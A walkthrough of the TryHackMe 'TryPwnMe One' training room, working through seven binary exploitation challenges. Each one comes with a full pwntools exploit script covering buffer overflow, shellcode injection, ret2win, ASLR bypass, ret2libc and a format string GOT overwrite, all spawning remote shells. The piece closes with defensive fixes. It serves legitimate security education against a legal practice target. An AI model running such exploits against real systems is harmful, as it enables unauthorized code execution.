TryPwnMe One: Seven Binary Exploitation Challenges — From Buffer Overflow to ret2libc
A walkthrough of TryHackMe's TryPwnMe One — seven escalating binary exploitation challenges covering classic buffer overflow, controlled-value overwrites, shellcode injection, ret2win, ASLR bypass, ret2libc, and format string attacks.
A walkthrough of TryHackMe’s “TryPwnMe One” room — seven escalating binary exploitation challenges that progress from a simple buffer overflow to ret2libc with ASLR bypass. Each challenge runs as a remote service; no boot2root here, just raw pwn.
Flags and target IPs are redacted. TryPwnMe One is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Values shown as
<redacted>are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
Seven challenges, one room, escalating difficulty:
- TryOverflowMe 1 —
gets()on a 16-byte buffer, overflow to setadmin != 0→ flag. - TryOverflowMe 2 — 64-byte buffer, overflow to set
admin == 0x59595959→ flag. - TryExecMe — NX disabled, program casts user input to a function pointer and calls it → inject
shellcraft.sh()shellcode → shell. - TryRetMe — Classic ret2win: 264-byte offset to
$rsp, add aretgadget for stack alignment, then jump towin()→ shell. - Random Memories — ret2win with ASLR: program leaks
vuln()address → compute base → computewin()→ shell. - The Librarian — ret2libc + ret2plt: leak
puts@GOTvia PLT → compute libc base → callsystem("/bin/sh")→ shell. - Not Specified — Format string vulnerability:
printf(username)without format specifier → overwriteexit@GOTwithwin()viafmtstr_payload→ shell.
From the simplest variable overwrite to chaining PLT/GOT leaks with libc offsets — a complete binary exploitation progression.
The target
export IP=<target-ip>
TryPwnMe One is a binary exploitation (pwn) room with seven challenges running as remote services on individual ports (9003–9009). Each challenge provides a vulnerable binary and its source code. No web enumeration, no privilege escalation — just raw binary exploitation against increasingly hardened targets.
The progression is deliberate:
- Challenges 1–2 teach buffer overflow fundamentals (overwriting stack variables)
- Challenge 3 introduces shellcode injection (executable stack)
- Challenges 4–5 teach ret2win (redirecting execution to an existing function), then add ASLR
- Challenge 6 is ret2libc (no win function — leak libc, call
system) - Challenge 7 is a format string attack (arbitrary write via
printf)
All binaries are x86-64 Linux ELFs. Tools used: pwntools, GDB with GEF, objdump.
Step 1 — TryOverflowMe 1: the simplest overflow
The program declares a 16-byte buffer and an admin variable initialized to 0. It reads input with gets() — which performs no bounds checking — and prints the flag only if admin is non-zero:
int admin = 0;
char buf[0x10]; // 16 bytes
gets(buf); // no bounds check
if (admin) { /* read flag */ }
Insight
gets() reads until a newline with no size limit — it is the textbook buffer overflow vector. The C standard itself marks it as deprecated. Any input longer than 16 bytes overwrites adjacent stack variables, including admin.
The exploit is straightforward — 16 bytes of padding to fill the buffer, then any non-zero value to overwrite admin:
from pwn import *
p = remote('$IP', 9003)
padding = b'A' * 16
admin_value = p32(1) * 32
payload = padding + admin_value
p.sendline(payload)
p.interactive()
THM{<redacted>}
Step 2 — TryOverflowMe 2: controlled value overflow
Same concept, slightly harder — the buffer is now 64 bytes and admin must equal exactly 0x59595959:
int admin = 0;
char buf[64];
gets(buf);
if (admin == 0x59595959) { read_flag(); }
The payload pads 64 bytes then writes the target value repeatedly:
from pwn import *
p = remote('$IP', 9004)
padding = b'A' * 64
admin_value = p32(0x59595959) * 32
payload = padding + admin_value
p.sendline(payload)
p.interactive()
THM{<redacted>}
Step 3 — TryExecMe: shellcode injection
This challenge is fundamentally different. The program reads user input into a buffer, then casts that buffer to a function pointer and calls it:
char *buf[128];
read(0, buf, sizeof(buf));
((void (*)()) buf)(); // execute user input as code
Insight
This works because the NX bit is disabled — the stack is executable. The program literally hands you a code-execution primitive: provide machine code, and it runs it. In a real binary, checksec would show NX: NX disabled.
Using pwntools’ shellcraft module to generate a /bin/sh shellcode payload:
from pwn import *
context.arch = 'amd64'
p = remote('$IP', 9005)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
$ cat flag.txt
THM{<redacted>}
Step 4 — TryRetMe: classic ret2win
Now NX is enabled — the stack is not executable. But there’s a win() function that calls system("/bin/sh"), just never called in normal flow:
int win() { system("/bin/sh"); }
void vuln() {
char *buf[0x20]; // 32 pointers = 256 bytes on x86-64
read(0, buf, 0x200); // reads 512 bytes into 256-byte buffer
}
Finding the offset: Using GDB with GEF, generate a cyclic pattern, feed it to the binary, and search for the pattern in $rsp:
gef➤ pattern search $rsp
[+] Found at offset 264 (little-endian search) likely
The exploit overflows 264 bytes to reach the return address, adds a ret gadget for Ubuntu’s 16-byte stack alignment requirement, then jumps to win():
from pwn import *
elf = context.binary = ELF('./tryretme')
p = remote('$IP', 9006)
win_addr = elf.symbols['win']
ret_gadget = ROP(elf).find_gadget(['ret'])[0]
offset = 264
payload = b'A' * offset
payload += p64(ret_gadget) # stack alignment
payload += p64(win_addr)
p.sendlineafter('Return to where? : ', payload)
p.interactive()
$ cat flag.txt
THM{<redacted>}
Step 5 — Random Memories: ret2win with ASLR
Same structure as TryRetMe, but now ASLR randomizes the binary’s base address each run. The program helpfully leaks the address of vuln():
int win() { system("/bin/sh\0"); }
void vuln() {
char *buf[0x20];
printf("I can give you a secret %llx\n", &vuln);
read(0, buf, 0x200);
}
Insight
ASLR randomizes base addresses on every execution, but relative offsets between functions stay constant. If you know vuln() is at offset 0x1319 in the binary, and the leaked runtime address is 0x56153476d319, then:
base = leaked_vuln - 0x1319 = 0x56153476c000
win = base + 0x1210
One leak defeats ASLR for the entire binary.
Using objdump to find the offsets:
objdump -d ./random | grep vuln
# 0000000000001319 <vuln>:
objdump -d ./random | grep win
# 0000000000001210 <win>:
The exploit parses the leaked address, computes the base, and builds the payload:
from pwn import *
p = remote('$IP', 9007)
p.recvuntil(b"I can give you a secret ")
leaked_vuln_addr = int(p.recvline().strip(), 16)
vuln_offset = 0x1319
win_offset = 0x1210
ret_offset = 0x101a
base_address = leaked_vuln_addr - vuln_offset
win_address = base_address + win_offset
ret_gadget = base_address + ret_offset
payload = b"A" * 264
payload += p64(ret_gadget)
payload += p64(win_address)
p.sendline(payload)
p.interactive()
$ cat flag.txt
THM{<redacted>}
Step 6 — The Librarian: ret2libc + ret2plt
The hardest ret2* challenge — no win() function exists, and ASLR is active. We’re given two shared libraries: libc.so.6 and ld-linux-x86-64.so.2.
void vuln() {
char *buf[0x20];
puts("Again? Where this time? : ");
read(0, buf, 0x200);
}
Insight
ret2libc chains two stages:
- Leak stage (ret2plt): Call
puts@PLTwithputs@GOTas the argument. The PLT stub resolves to the realputs, which prints its own GOT entry — the runtime address ofputsin libc. Then return tomainfor a second input. - Shell stage (ret2libc): Subtract the known
putsoffset from the leaked address to get libc’s base. Add offsets forsystem()and the"/bin/sh"string. Build a second payload:pop rdi; ret→ address of"/bin/sh"→system().
Stage 1 — leak puts address via PLT/GOT:
from pwn import *
binary_file = './thelibrarian'
libc = ELF('./libc.so.6')
p = remote('$IP', 9008)
context.binary = binary = ELF(binary_file, checksec=False)
rop = ROP(binary)
padding = b"A" * 264
payload = padding
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main)
p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)
p.recvuntil(b"ok, let's go!\n\n")
leak = u64(p.recvline().strip().ljust(8, b'\0'))
libc.address = leak - libc.symbols.puts
Stage 2 — call system("/bin/sh") using computed offsets:
bin_sh_offset = 0x1b3d88
system_offset = 0x4f420
bin_sh = libc.address + bin_sh_offset
system = libc.address + system_offset
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(bin_sh)
payload += p64(system)
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(0x0)
p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)
p.interactive()
$ cat flag.txt
THM{<redacted>}
Step 7 — Not Specified: format string exploitation
The final challenge is a format string vulnerability. The program reads a username and prints it directly with printf — no format specifier:
int win() { system("/bin/sh\0"); }
int main() {
char *username[32];
read(0, username, sizeof(username));
printf(username); // format string vulnerability
exit(1);
}
Insight
printf(username) instead of printf("%s", username) lets the attacker supply format specifiers like %p (read stack) and %n (write to memory). Combined with Partial RELRO (GOT is writable), we can overwrite exit@GOT with the address of win() — so when the program calls exit(1), it executes win() instead.
First, identify where user input lands on the stack — it’s at position 6:
python -c "print('ABCDEFGH|' + '|'.join(['%d:%%p' % i for i in range(1,40)]))" | ./notspecified | grep 4847
# position 6: 0x4847464544434241 (our "ABCDEFGH" input)
Then use pwntools’ fmtstr_payload to construct the GOT overwrite:
from pwnlib.fmtstr import fmtstr_payload
from pwn import *
context.clear(arch='amd64', endian='little')
elf = ELF('./notspecified')
exit_got = elf.got['exit']
win_func = elf.symbols['win']
s = remote('$IP', 9009)
payload = fmtstr_payload(6, {exit_got: win_func})
s.sendline(payload)
s.interactive()
$ cat flag.txt
THM{<redacted>}
Impact
Critical
Each challenge demonstrates a class of memory corruption that leads to arbitrary code execution:
- Buffer overflows (Steps 1–2) corrupt adjacent stack variables — in real software this means hijacking control flow, bypassing authentication, or corrupting critical data structures.
- Shellcode injection (Step 3) gives full code execution when memory protections like NX/DEP are absent — historically the most exploited vulnerability class.
- Return-oriented attacks (Steps 4–6) bypass NX by reusing existing code —
ret2winredirects to known functions,ret2libccallssystem()from the C library. ASLR raises the bar but falls to a single information leak. - Format string attacks (Step 7) allow arbitrary read/write via misused
printf— GOT overwrites turn a seemingly minor bug into full control.
These are not theoretical: buffer overflows and format strings remain in MITRE’s top CWEs, and ret2libc techniques are foundational to modern exploit chains.
Recommended fix — defense in depth
Fix
- Never use
gets()**.** Usefgets()orread()with explicit size limits. Modern compilers warn aboutgets()— heed them. - Enable NX/DEP on all binaries — the stack should never be executable. This is the default on modern systems; don’t disable it.
- Enable stack canaries (
-fstack-protector-strong) to detect overflows before the return address is used. - Enable PIE (
-fPIE -pie) so ASLR covers the binary itself, not just shared libraries. - Enable Full RELRO (
-Wl,-z,relro,-z,now) to make the GOT read-only after startup, blocking GOT overwrites. - Never pass user input as a format string. Always use
printf("%s", input), neverprintf(input). - Use safe string functions and compile with
-D_FORTIFY_SOURCE=2for runtime bounds checking on common functions.
Takeaways
gets()is instant game over. It has no size limit. Period. Any code using it is exploitable.- NX without ASLR just moves the goalpost. ret2win shows that if the attacker knows function addresses, NX alone changes nothing. Defense requires NX + ASLR + canaries + Full RELRO together.
- One leak defeats ASLR. The Random Memories challenge proves it — a single leaked function address lets you compute every other address in the binary. Never leak pointers to untrusted users.
- ret2libc is the universal fallback. When there’s no
win()function, libc is always loaded and always containssystem()+"/bin/sh". PLT/GOT leaks make it reachable. - Format strings are write primitives, not just read primitives.
%nturns a seemingly harmless print bug into arbitrary memory writes — powerful enough to overwrite GOT entries and redirect execution.
TryPwnMe One is an excellent progression through the fundamentals of binary exploitation — from the simplest possible overflow to chaining PLT/GOT leaks with libc offsets. Each challenge builds on the last, and together they cover the core techniques every exploit developer needs.